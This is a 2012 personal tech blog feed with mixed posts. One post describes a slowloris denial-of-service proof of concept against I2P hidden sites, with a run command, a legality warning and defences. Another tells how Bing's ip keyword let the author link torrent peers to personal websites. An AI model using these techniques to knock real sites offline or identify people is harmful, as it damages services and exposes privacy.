    <updated>2012-09-26T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2012/09/26/Weka-memory-crash-OSX</id>
    <content type="html">&lt;h2&gt;Weka out of memory crash on OS X&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;26 Sep 2012&lt;/p&gt;
&lt;p&gt;Using some bigger dataset makes the machine learning program Weka crash due to lack of memory.&lt;/p&gt;
&lt;p&gt;To increase the memory limit Weka is allowed to use before it crashes edit the file&lt;/p&gt;
&lt;pre class=&quot;terminal&quot;&gt;/Applications/weka-3-7-5.app/Contentsi/Info.plist&lt;/pre&gt;
&lt;p&gt;(for the version number you have on your Weka install)&lt;/p&gt;
&lt;p&gt;Change the line&lt;/p&gt;
&lt;pre class=&quot;terminal&quot;&gt;&amp;lt;string&amp;gt;-Xmx256M&amp;lt;/string&amp;gt;&lt;/pre&gt;
&lt;p&gt;To&lt;/p&gt;
&lt;pre class=&quot;terminal&quot;&gt;&amp;lt;string&amp;gt;-Xmx2g&amp;lt;/string&amp;gt;&lt;/pre&gt;
&lt;p&gt;The 2g means that it allows Weka to use 2GB memory, you can change this to what best suits you.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Layer 7 DOS against I2P darknet</title>
    <link href="http://blog.kejsarmakten.se/all/projects/2012/09/11/dark-loris.html"/>
    <updated>2012-09-11T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/projects/2012/09/11/dark-loris</id>
    <content type="html">&lt;h2&gt;Layer 7 &lt;span class=&quot;caps&quot;&gt;DOS&lt;/span&gt; against I2P darknet&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;11 Sept 2012&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/melpomene/Darkloris&quot;&gt;Download here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I wrote a small proof of concept in python for a slowloris attack performed against hidden sites on the I2P darknet.&lt;/p&gt;
&lt;p&gt;The idea comes from the &lt;a href=&quot;http://en.wikipedia.org/wiki/Slowloris&quot;&gt;Slowloris attack&lt;/a&gt; where the attacker depletes the web servers resourses by initiating a few very slow request, filling up the sockets and rendering the site unaccesable.&lt;/p&gt;
&lt;p&gt;Since the attack works on layer 7 (sending partial &lt;span class=&quot;caps&quot;&gt;GET&lt;/span&gt; requests), it works very well over darknets like &lt;a href=&quot;https://torproject.org&quot;&gt;&lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt;&lt;/a&gt; or &lt;a href=&quot;https://i2p2.de&quot;&gt;I2P&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;One way to protect against against the Slowloris attack is to limit the time a client is allowed to stay connected, but this proves hard in a high latency enviroment like the I2P darknet.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How does it work&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;First I open a socks proxy in my I2P configurations on port 4475.&lt;/p&gt;
&lt;p&gt;Then I run the script with the host (change the host variable to i.e. the base32 address) I want to take down.&lt;/p&gt;
&lt;pre class=&quot;terminal&quot;&gt;
&amp;gt;python darkloris.py
&lt;/pre&gt;
&lt;p&gt;Before script is fired. &lt;br /&gt;
&lt;center&gt;&lt;a href=&quot;/images/darkloris-1.jpg&quot;&gt;&lt;img src=&quot;/images/darkloris-1.jpg&quot; width=&quot;600px&quot; /&gt;&lt;/a&gt;&lt;/center&gt;&lt;br /&gt;
After script is fired.&lt;br /&gt;
&lt;center&gt;&lt;a href=&quot;/images/darkloris-2.jpg&quot;&gt;&lt;img src=&quot;/images/darkloris-2.jpg&quot; width=&quot;600px&quot; /&gt;&lt;/a&gt;&lt;/center&gt;&lt;/p&gt;
&lt;p&gt;Please remember that Denial of Service-attacks are illegal. Only use this script when trying to secure your own eepsite against this kind of attacks.&lt;br /&gt;
A good tip is to lower the amount of connections one IP is allowed to have to your site at a given moment.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;As the goog people at &lt;a href=&quot;http://forum.i2p/viewtopic.php?p=44926&quot;&gt;forum.i2p&lt;/a&gt; pointed out there are good protections against this attack built in to the i2p routing software. It is not activated by default but you can find it on the advanced settings &lt;a href=&quot;http://localhost:7657/i2ptunnel/&quot;&gt;for the server tunnel&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In the advanced panel you can limit the amount of incoming connections from one client per minute/hour/day. Here is a screen dump of the settings (but unfortunately in Swedish).&lt;br /&gt;
&lt;center&gt;&lt;a href=&quot;/images/doris3.jpg&quot;&gt;&lt;img src=&quot;/images/doris3.jpg&quot; width=&quot;600px&quot; /&gt;&lt;/a&gt;&lt;/center&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>This fall (Maximum warp!)</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2012/08/31/this-fall.html"/>
    <updated>2012-08-31T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2012/08/31/this-fall</id>
    <content type="html">&lt;h2&gt;This fall (Maximum warp!)&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;31 Aug 2012&lt;/p&gt;
&lt;p&gt;Last year on my masters program starts on monday. Looking forward to a highly interesting year!&lt;br /&gt;
First I will kickstart the term with 150 % fulltime study (how can I remove one of these &lt;a href=&quot;http://kurser.lth.se/kursplaner/12_13%20eng/EDAN55.html&quot;&gt;Advanced Algroithms&lt;/a&gt;, &lt;a href=&quot;http://kurser.lth.se/kursplaner/12_13%20eng/EITN50.html&quot;&gt;Advanced Computer Security&lt;/a&gt; and &lt;a href=&quot;http://kurser.lth.se/kursplaner/12_13%20eng/EDAN20.html&quot;&gt;Language technology&lt;/a&gt; ?).&lt;/p&gt;
&lt;p&gt;Hopefully I will begin writing my master thesis during the fall as well, &lt;a href=&quot;http://blog.kejsarmakten.se/all/software/2012/04/28/looking-for-interesting-master-thesis.html&quot;&gt;if I can find an interesting project&lt;/a&gt;. (Please drop me an &lt;a href=&quot;mailto:christopher.kack@gmail.com&quot;&gt;email&lt;/a&gt; if you have any suggestions!)&lt;/p&gt;
&lt;p&gt;I am also moving away from my beloved Lund to Malmö in September.&lt;/p&gt;
&lt;p&gt;Besides this I am planning on improving my skills in Scala and maybe organising a &lt;a href=&quot;http://www.cryptoparty.org/wiki/CryptoParty&quot;&gt;cryptoparty in Lund&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://youtu.be/sHyy6F_GgsM&quot;&gt;Maximum warp, punch it!&lt;/a&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Copyright trolling</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2012/08/21/copy-right-trolling.html"/>
    <updated>2012-08-21T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2012/08/21/copy-right-trolling</id>
    <content type="html">&lt;h2&gt;Copyright trolling&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;21 Aug 2012&lt;/p&gt;
&lt;p&gt;Security Researchers are often swapping malware code to help each other analyse threats.&lt;/p&gt;
&lt;p&gt;With our current innovation impeding copyright laws, doesn&amp;#8217;t this constitute copy right infringement?&lt;br /&gt;
If I would write something that looks like a malware, and it is passed around (publicly on twitter!), would the Rättighetsalliansen help me collect?&lt;/p&gt;
&lt;p&gt;I mean, &lt;a href=&quot;http://blogs.hbr.org/cs/2012/08/who_cares_if_samsung_copied_ap.html&quot;&gt;otherwise people might stop innovating!?&lt;/a&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>The killer in the Song of Joy</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2012/08/03/the-singer-did-it.html"/>
    <updated>2012-08-03T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2012/08/03/the-singer-did-it</id>
    <content type="html">&lt;h2&gt;The killer in the Song of Joy&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;03 Aug 2012&lt;/p&gt;
&lt;p&gt;Just to clear up any questionmarks regarding &lt;strong&gt;the song of joy&lt;/strong&gt; by Nick Cave; &lt;br /&gt;
&lt;center&gt;&lt;strong&gt;The singer is the killer&lt;/strong&gt;&lt;/center&gt;&lt;/p&gt;
&lt;p&gt;How do we know?&lt;/p&gt;
&lt;pre class=&quot;terminal&quot;&gt;
They never caught the man
He's still on the loose
It seems he has done many many more
Quotes john milton on the walls in the victim's blood
The police are investigating at tremendous cost
In my house he wrote 'his red right hand'
*That, I'm told is from paradise lost*
&lt;/pre&gt;
&lt;p&gt;Note the last line.&lt;/p&gt;
&lt;pre class=&quot;terminal&quot;&gt;
the sun to me is dark
and silent as the moon
&lt;/pre&gt;
&lt;p&gt;This part is a quote from &lt;a href=&quot;http://www.bartleby.com/4/602.html&quot; title=&quot;line 85&quot;&gt;John Miltons Samson Agonistes&lt;/a&gt;.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Make it pixly!</title>
    <link href="http://blog.kejsarmakten.se/all/projects/2012/08/01/make-it-pixly.html"/>
    <updated>2012-08-01T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/projects/2012/08/01/make-it-pixly</id>
    <content type="html">&lt;h2&gt;Make it pixly!&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;01 Aug 2012&lt;/p&gt;
&lt;p&gt;Just a quick note.&lt;/p&gt;
&lt;p&gt;I wanted to play around a little with the excelent &lt;a href=&quot;http://www.pythonware.com/products/pil/&quot;&gt;Python Image Library&lt;/a&gt; so I wrote a small flask script that transforms a picture into pixelart. Nothing fancy. But make sure to check out &lt;span class=&quot;caps&quot;&gt;PIL&lt;/span&gt; and if you want to try it out, go ahead (jpg + png only).&lt;/p&gt;
&lt;form id=&quot;form&quot; action=&quot;http://pixel.kejsarmakten.se/pixel&quot; method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&gt;
&lt;input id=&quot;imagefile&quot; name=&quot;imagefile&quot; type=&quot;file&quot; /&gt;
&lt;input id=&quot;submit&quot; type=&quot;submit&quot; value=&quot;Make pixly!&quot; /&gt;
&lt;/form&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Bokus eller Adlibris</title>
    <link href="http://blog.kejsarmakten.se/all/projects/2012/08/01/bokus-eller-adlibris.html"/>
    <updated>2012-08-01T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/projects/2012/08/01/bokus-eller-adlibris</id>
    <content type="html">&lt;h2&gt;Bokus eller Adlibris&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;09 Jul 2012&lt;/p&gt;
&lt;p&gt;Ett mindre hack jag skrev ihop för att döda tid när jag väntade på diskkryptering.&lt;/p&gt;
&lt;p&gt;Eftersom jag har ett omättligt sug efter bra litteratur så spenderar jag stora delar av mitt &lt;span class=&quot;caps&quot;&gt;CSN&lt;/span&gt; på att inhandla böcker. &lt;br /&gt;
När jag ser en bok jag vill köpa är alltid den eviga frågan &lt;em&gt;skall jag köpa den på bokus eller adlibris?&lt;/em&gt;&lt;br /&gt;
De två stora internetbokhandlarna brukar variera några kronor i pris mellan varandra, men vilken som är billigast varierar mellan titlarna.&lt;/p&gt;
&lt;p&gt;För att snabbt kunna verifiera detta (då &lt;a href=&quot;http://www.bokfynd.nu/&quot;&gt;bokfynd.nu&lt;/a&gt; inte stödjer sökningar mot bokus) så skrev jag ihop ett snabbt litet hack.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://bokuselleradlibris.kejsarmakten.se/&quot;&gt;Vill ni testa hostas den här&lt;/a&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>The Monty Hall problem emulation</title>
    <link href="http://blog.kejsarmakten.se/all/software/2012/07/09/Monty-Hall.html"/>
    <updated>2012-07-09T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2012/07/09/Monty-Hall</id>
    <content type="html">&lt;h2&gt;The Monty Hall problem emulation&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;09 Jul 2012&lt;/p&gt;
&lt;p&gt;Since I first heard of the Monty Hall problem it has been itching my intellect.&lt;br /&gt;
If you haven&amp;#8217;t heard of the problem there is a good explanation of it over &lt;a href=&quot;https://en.wikipedia.org/wiki/Monty_Hall_problem&quot;&gt;on wikipedia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The idea is that you are on a game show, where there are three doors. You will get to keep whatever is behind the door you choose. &lt;br /&gt;
Behind one of them there is a car, and behind the other two there are donkeys. &lt;br /&gt;
First you will get to choose a door, but you can not see what is behind it. &lt;br /&gt;
After this the host will open another door, behind which he will reveal a donkey.&lt;/p&gt;
&lt;p&gt;You are now left with a choice, stay with the door you choose from the beginning or change to the door that the host didn&amp;#8217;t open.&lt;/p&gt;
&lt;p&gt;Will the change of door increase or decrease your chance of getting the car?&lt;/p&gt;
&lt;p&gt;Intuitively I would not think that there would be a difference, but according to wikipedia, and my maths lecturer there will be. If you switch door there is a greater change (2/3) of winning the car, than if you stay(1/3). This seems a bit strange to me so I naturally decided to write up a small script to get some statistics on it.&lt;/p&gt;
&lt;p&gt;The script can be found on &lt;a href=&quot;https://gist.github.com/3077712&quot;&gt;my gist page on github&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The best part? You call it with&lt;br /&gt;
&lt;pre class=&quot;terminal&quot;&gt;python Monty.py&lt;/pre&gt;&lt;/p&gt;
&lt;p&gt;Theory seems to win over intuition again.&lt;/p&gt;
&lt;pre class=&quot;terminal&quot;&gt;
&amp;gt;python Monty.py 
Run game. Change everytime. 10000000 iterations.
Wins: 6667411 Loses: 3332589
Run game. Never change. 10000000 iterations.
Wins: 3335638 Loses: 6664362
&lt;/pre&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Setting up a web store</title>
    <link href="http://blog.kejsarmakten.se/all/software/2012/06/14/tictail.html"/>
    <updated>2012-06-14T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2012/06/14/tictail</id>
    <content type="html">&lt;h2&gt;Setting up a web store&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;14 Jun 2012&lt;/p&gt;
&lt;p&gt;I helped my girlfriend to set up her web store a few days ago (she makes and sells bowties, &lt;a href=&quot;http://store.sabinamodee.se&quot;&gt;check it out&lt;/a&gt;). &lt;br /&gt;
It was made really simple by a nice web service I found called &lt;a href=&quot;http://tictail.com&quot;&gt;tictail&lt;/a&gt;, &amp;#8220;the tumblr for e-commerce&amp;#8221;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://store.sabinamodee.se&quot;&gt;&lt;img src=&quot;https://fbcdn-sphotos-a.akamaihd.net/hphotos-ak-ash3/8075_474011359291508_1353899747_n.jpg&quot; width=&quot;550px&quot; alt=&quot;Modée Design&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;With a really simple interface you can choose one of several nice themes (which you can later modify in a neat little online editor), and then add your products without much fuzz.&lt;br /&gt;
For payments you use either PayPal or Klarna (we tried out PayPal first and it was just a few clicks to get going).&lt;/p&gt;
&lt;p&gt;Best of all? &amp;#8211; It is free.&lt;br /&gt;
Their buissnes model is based on celling addons for the service (to enable discount codes and such).&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>[Ej längre] Söker examensarbete i Datavetenskap [Looking for CS master thesis]</title>
    <link href="http://blog.kejsarmakten.se/all/software/2012/04/28/looking-for-interesting-master-thesis.html"/>
    <updated>2012-04-28T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2012/04/28/looking-for-interesting-master-thesis</id>
    <content type="html">&lt;h2&gt;[Ej längre] Söker examensarbete i Datavetenskap [Looking for CS master thesis]&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;28 Apr 2012&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;br /&gt;
Söker ej något examensarbete längre då jag har hittat ett mycket intressant arbete tillsammans med Stickybit i Malmö!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Old post&lt;/strong&gt;&lt;br /&gt;
Nästa höst börjar mitt sista år på civilingenjörsprogrammet i Datateknik på Lunds Tekniska Högskola (&lt;span class=&quot;caps&quot;&gt;LTH&lt;/span&gt;). &lt;br /&gt;
Detta innebär att det är tid för mig att börja söka efter ett examensarbete. &lt;br /&gt;
Examensarbetena är 30 HP (motsvarar en termins heltidsstudier) avancerade poäng.&lt;/p&gt;
&lt;p&gt;Som det ser ut nu skulle jag gärna göra ett examensarbete inom &lt;em&gt;artificiell intelligens&lt;/em&gt;, &lt;em&gt;maskininlärning&lt;/em&gt; eller &lt;em&gt;informationsinhämtning&lt;/em&gt;, då dessa tre ämnena ligger mig varmt om hjärtat.&lt;/p&gt;
&lt;p&gt;Gärna i Öresundsregionen (Lund, Malmö, Helsingborg eller Köpenhamn) men jag är öppen för förslag på andra orter med.&lt;/p&gt;
&lt;p&gt;Har du några förslag på idéer på exjobb så skicka mig gärna ett mail (christopher.kack [a] gmail.com) eller lämna en kommentar nedan. &lt;br /&gt;
Både intressanta företag och projektidéer som kan utföras på institutionen uppskattas.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;English summary&lt;/strong&gt;&lt;br /&gt;
Next year is my last year on my masters degree in computer science at the University of Lund (&lt;span class=&quot;caps&quot;&gt;LTH&lt;/span&gt;). &lt;br /&gt;
This means that I will be doing some kind of advanced work for 30 HP (1 term of full time studies).&lt;br /&gt;
I have yet to decide what to work on though.&lt;/p&gt;
&lt;p&gt;Right now I would prefer working with something concerning &lt;em&gt;Artificial Intelligence&lt;/em&gt;, &lt;em&gt;Machine Learning&lt;/em&gt; or &lt;em&gt;Information Retrieval&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;If anyone has any ideas for good projects please send me an email to christopher.kack [a] gmail.com or leave a comment below, it would be very appreciated.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Robot friends</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2012/04/27/small-robots.html"/>
    <updated>2012-04-27T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2012/04/27/small-robots</id>
    <content type="html">&lt;h2&gt;Robot friends&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;27 Apr 2012&lt;/p&gt;
&lt;p&gt;I&amp;#8217;ve bumped in to some interesting small robots for home use. &lt;br /&gt;
I really, really, really want to get my hands on one of these little critters.&lt;/p&gt;
&lt;p&gt;First up is the Open Source &lt;a href=&quot;http://thecorpora.com/&quot;&gt;Qbo&lt;/a&gt;.&lt;/p&gt;
&lt;center&gt;
&lt;p&gt;&lt;iframe width=&quot;420&quot; height=&quot;315&quot; src=&quot;http://www.youtube.com/embed/EIxoiLmy5mM&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/p&gt;
&lt;/center&gt;
&lt;p&gt;I also bumped into &lt;a href=&quot;http://www.aldebaran-robotics.com/&quot;&gt;Nao&lt;/a&gt;.&lt;br /&gt;
&lt;center&gt;&lt;br /&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;http://www.youtube.com/embed/nNbj2G3GmAo&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/p&gt;
&lt;/center&gt;
&lt;p&gt;Do you know any more small robots belonging in this list? Please comment below!&lt;/p&gt;
&lt;p&gt;It would be lovley to have one of these running around at home to keep me, my girlfriend and our pug company. It gives a whole new perspective to network security though. Would not be very nice to have an agent walking about the house rooted by an attacker (stuff horror movies are made of).&lt;/p&gt;
&lt;p&gt;Nice to see that both are produced in Europe!&lt;/p&gt;
&lt;p&gt;Compare to the American robot below ;)&lt;br /&gt;
&lt;center&gt;&lt;br /&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;http://www.youtube.com/embed/cWmbqH_z7jM&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/p&gt;
&lt;/center&gt;
&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;br /&gt;
There is so much robot awesomeness out there.&lt;/p&gt;
&lt;center&gt;&lt;iframe width=&quot;420&quot; height=&quot;315&quot; src=&quot;http://www.youtube.com/embed/nWd56Qj5548&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/center&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>The face of Watson</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2012/04/27/face-of-watson.html"/>
    <updated>2012-04-27T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2012/04/27/face-of-watson</id>
    <content type="html">&lt;h2&gt;The face of Watson&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;27 Apr 2012&lt;/p&gt;
&lt;p&gt;We had &lt;span class=&quot;caps&quot;&gt;IBM&lt;/span&gt; dropping by &lt;span class=&quot;caps&quot;&gt;LTH&lt;/span&gt; today to hold a short presentation of their AI project &lt;a href=&quot;http://www-03.ibm.com/innovation/us/watson/&quot;&gt;Watson&lt;/a&gt;.&lt;br /&gt;
It was a short 45 minute speach so they did not have time to go in to any depth, but luckily we have disscussed Watson in our Applied Artificial Intelligence course.&lt;br /&gt;
One of the speakers recommended us to check out the video on the design of Watsons inter&lt;i&gt;face&lt;/i&gt;. &lt;br /&gt;
I found this inspiring video and felt like sharing it.&lt;/p&gt;
&lt;center&gt;
&lt;p&gt;&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;http://www.youtube.com/embed/WIKM732oEek&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/p&gt;
&lt;/center&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Berlin Books</title>
    <link href="http://blog.kejsarmakten.se/all/projects/2012/04/07/berlinbooks.html"/>
    <updated>2012-04-07T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/projects/2012/04/07/berlinbooks</id>
    <content type="html">&lt;h2&gt;Berlin Books&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;07 Apr 2012&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;&lt;a href=&quot;http://berlinbooks.herokuapp.com/&quot;&gt;&lt;img src=&quot;/images/berlinbook.png&quot; width=&quot;500px&quot; /&gt;&lt;/a&gt;&lt;/center&gt; &lt;br /&gt;
For the &lt;a href=&quot;http://blog.readmill.com/post/20361026851/schiffihack-2-the-results&quot;&gt;Readmill hackathon&lt;/a&gt; I and &lt;a href=&quot;https://plus.google.com/117983584799068299901&quot;&gt;Carl Ekerot&lt;/a&gt; wrote a small book recommendation webapp.&lt;/p&gt;
&lt;p&gt;What it does is that it compares your facebook book related likes (authors, books and so on) to your friends, and then it finds the friends which you have the most similar taste to and recommends some books that you haven&amp;#8217;t read (read &amp;#8220;liked&amp;#8221;) from them. &lt;br /&gt;
We mostly wrote it because we wanted to play around with recommendation systems a little, but a fever put a stop to our hacking rather early in the night so this basic solution was what we had time for. &lt;br /&gt;
We are still thinking about adding some improvements, we&amp;#8217;ll see how it goes!&lt;/p&gt;
&lt;p&gt;It is still a hack and lacks logout button and other necessities, but we put it up on Heroku if you want to &lt;a href=&quot;http://berlinbooks.herokuapp.com/&quot;&gt;check it out!&lt;/a&gt;. Please report back any bugs you find to us either here or on &lt;a href=&quot;https://twitter.com/#!/kejsarmakten&quot;&gt;twitter&lt;/a&gt;.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Readmill hackathon</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2012/04/03/readmill-hack.html"/>
    <updated>2012-04-03T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2012/04/03/readmill-hack</id>
    <content type="html">&lt;h2&gt;Readmill hackathon&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;04 Apr 2012&lt;/p&gt;
&lt;p&gt;Spent the weekend on the &lt;a href=&quot;http://blog.readmill.com/post/20361026851/schiffihack-2-the-results&quot;&gt;Readmill hackathon&lt;/a&gt; with &lt;a href=&quot;https://plus.google.com/117983584799068299901&quot;&gt;Carl Ekerot&lt;/a&gt;. &lt;br /&gt;
We both had a blast and wrote a book recommendations system connected to facebook. It goes under the workname Berlin Books and we are now porting it over to heroku so you can try it out!&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Update&lt;/b&gt; &lt;a href=&quot;http://blog.kejsarmakten.se/all/projects/2012/04/07/berlinbooks.html&quot;&gt;See the result here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Dropping some pictures from the trip. Oh, how I love Berlin.&lt;/p&gt;
&lt;center&gt;
&lt;p&gt;&lt;a href=&quot;/images/rm1.jpg&quot;&gt;&lt;img src=&quot;/images/rm1.jpg&quot; style=&quot;float:left;&quot; width=&quot;300px&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;/images/rm2.jpg&quot;&gt;&lt;img src=&quot;/images/rm2.jpg&quot; style=&quot;float:left;&quot; width=&quot;300px&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;/images/rm3.jpg&quot;&gt;&lt;img src=&quot;/images/rm3.jpg&quot; style=&quot;float:left; clear:both;&quot;width=&quot;300px&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;/images/rm4.jpg&quot;&gt;&lt;img src=&quot;/images/rm4.jpg&quot; style=&quot;float:left;&quot; width=&quot;300px&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;/images/rm5.jpg&quot;&gt;&lt;img src=&quot;/images/rm5.jpg&quot; style=&quot;float:left; clear:both;&quot; width=&quot;300px&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div style=&quot;clear:both;&quot; /&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Functional hack time lapse</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2012/02/08/functional-hack-time-lapse.html"/>
    <updated>2012-02-08T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2012/02/08/functional-hack-time-lapse</id>
    <content type="html">&lt;h2&gt;Functional hack time lapse&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;08 Feb 2012&lt;/p&gt;
&lt;p&gt;A time lapse of me and &lt;a href=&quot;https://kd35a.se&quot;&gt;kd35a&lt;/a&gt; working on a all night coding session before a deadline in our functional programming course.&lt;br /&gt;
&lt;iframe src=&quot;http://player.vimeo.com/video/32296837&quot; width=&quot;500&quot; height=&quot;281&quot; frameborder=&quot;0&quot; webkitAllowFullScreen mozallowfullscreen allowFullScreen&gt;&lt;/iframe&gt;&lt;br /&gt;
(The time lapse only cover a few hours until the battery died on my &lt;span class=&quot;caps&quot;&gt;GOPRO&lt;/span&gt; Hero).&lt;/p&gt;
</content>
  </entry>
  
 
  
  <entry>
    <title>IP keyword in Bing.com</title>
    <link href="http://blog.kejsarmakten.se/all/software/2012/02/02/interesting-bing.html"/>
    <updated>2012-02-02T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2012/02/02/interesting-bing</id>
    <content type="html">&lt;h2&gt;IP keyword in Bing.com&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;02 Feb 2012&lt;/p&gt;
&lt;p&gt;I found something in Bing.com today that I found quite interesting (:O yes I know!).&lt;/p&gt;
&lt;p&gt;There is a search keyword called &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ff795671.aspx&quot;&gt;ip&lt;/a&gt;, which returns all sites known to Bing that are hosted on that IP.&lt;/p&gt;
&lt;p&gt;With the help of this I managed to indentify and connect serveral IP addresses, from my torrent client, to personal websites. &lt;br /&gt;
Normally people tend to feel that they are safe from indentification when they share IP with their webserver if they just tell the webserver not to respont to requests through the IP address and restrict it to access through the domain name.&lt;/p&gt;
&lt;p&gt;I wrote a small script to wrap the Bing.com &lt;span class=&quot;caps&quot;&gt;API&lt;/span&gt;, here is the enpoint&lt;/p&gt;
&lt;pre class=&quot;terminal&quot;&gt;http://links.kejsarmakten.se/ip/index.php?ip=[IP HERE]&lt;/pre&gt;
&lt;p&gt;Example usage&lt;/p&gt;
&lt;pre class=&quot;terminal&quot;&gt;curl http://links.kejsarmakten.se/ip/index.php?ip=8.8.8.8&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;br /&gt;
It seems bing has changed their &lt;span class=&quot;caps&quot;&gt;API&lt;/span&gt; and my wrapper no longer works.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Flattr Video Browser</title>
    <link href="http://blog.kejsarmakten.se/all/projects/2012/02/02/flattr-video-browser.html"/>
    <updated>2012-02-02T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/projects/2012/02/02/flattr-video-browser</id>
    <content type="html">&lt;h2&gt;Flattr Video Browser&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;02 Feb 2012&lt;/p&gt;
&lt;p&gt;The Flattr Video Browser is a Python project I wrote for the &lt;a href=&quot;http://blog.flattr.net/2012/01/developer-challenge-january-edition-its-a-go/&quot;&gt;Flattr &lt;span class=&quot;caps&quot;&gt;API&lt;/span&gt; challenge&lt;/a&gt;&lt;br /&gt;
&lt;center&gt;&lt;a href=&quot;http://flattr.kejsarmakten.se:8080/&quot;&gt;The Flattr Video Browser&lt;/a&gt;&lt;br /&gt;
